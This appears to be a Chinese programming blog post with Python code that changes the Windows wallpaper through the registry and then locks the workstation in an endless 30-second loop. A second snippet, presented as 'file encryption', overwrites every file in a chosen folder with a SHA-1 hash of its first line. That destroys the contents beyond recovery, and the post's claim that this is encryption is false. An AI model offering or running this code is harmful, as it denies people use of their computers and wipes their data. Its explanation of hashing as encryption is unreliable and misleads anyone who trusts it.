python實現更換壁紙和鎖屏代碼
#控制windows系統 import win32api,win32con,win32gui # 可以利用python去調用dll動態庫的包、嵌入式開發 from ctypes import * # 時間 包控制程序的休眠時間 import time def desktop_img(bmp_path): # 打開windows注冊表 HKEY_CURRENT_USER 並且設置屬性 k = win32api.RegOpenKeyEx(win32con.HKEY_CURRENT_USER, "Control panel\\Desktop",0,win32con.KEY_SET_VALUE) #在HKEY_CURRENT_USER注冊表中寫入屬性值,0表示桌面壁紙居中,2表示拉伸桌面 win32api.RegSetValueEx(k,"wapaperStyle",0,win32con.REG_SZ,"2") win32api.RegSetValueEx(k,"TileWallpaper",0,win32con.REG_SZ,"0") #刷新桌面 win32gui.SystemParametersInfo(win32con.SPI_SETDESKWALLPAPER,bmp_path,win32con.SPIF_SENDWININICHANGE) desktop_img("E:\\backup\\backgroundDefault.jpg") # 系統鎖定 ''' 利用死循環去調用windows系統下的一個user32.dll動態庫達到鎖死狀態 ''' def lock_windows(): while True: # 調用系統底層下的api ,載入動態庫 user32 = windll.LoadLibrary("user32.dll") user32.LockWorkStation() time.sleep(30) lock_windows()
python實現文件加密的方式
# 系統包找文件用 import os # 文件加密包、標准庫 import hashlib def lock_file(file): # 把path中包含"-"和"-user" 轉換成用戶目錄 path = os.path.expanduser(file) # 返回指定的文件夾包含的文件或者文件夾名字的列表 for f in os.listdir(path): # 刪除文件名的空格 swd = f.strip() print(swd) # 文件操作, 在文件操作中做加密 rb+ 讀寫字節 with open(file + "/" + swd, "rb+") as f: pod = f.readline() # 加密 shal = hashlib.sha1(pod) # 把加密后的內容轉換成十六制字符串值 osv = shal.hexdigest() with open(file +"/" + swd, "wb") as b: gs = bytes(osv,encoding="utf-8") b.write(gs) print("加密完成 : %s" %file) lock_file("D:\\加密文件目錄")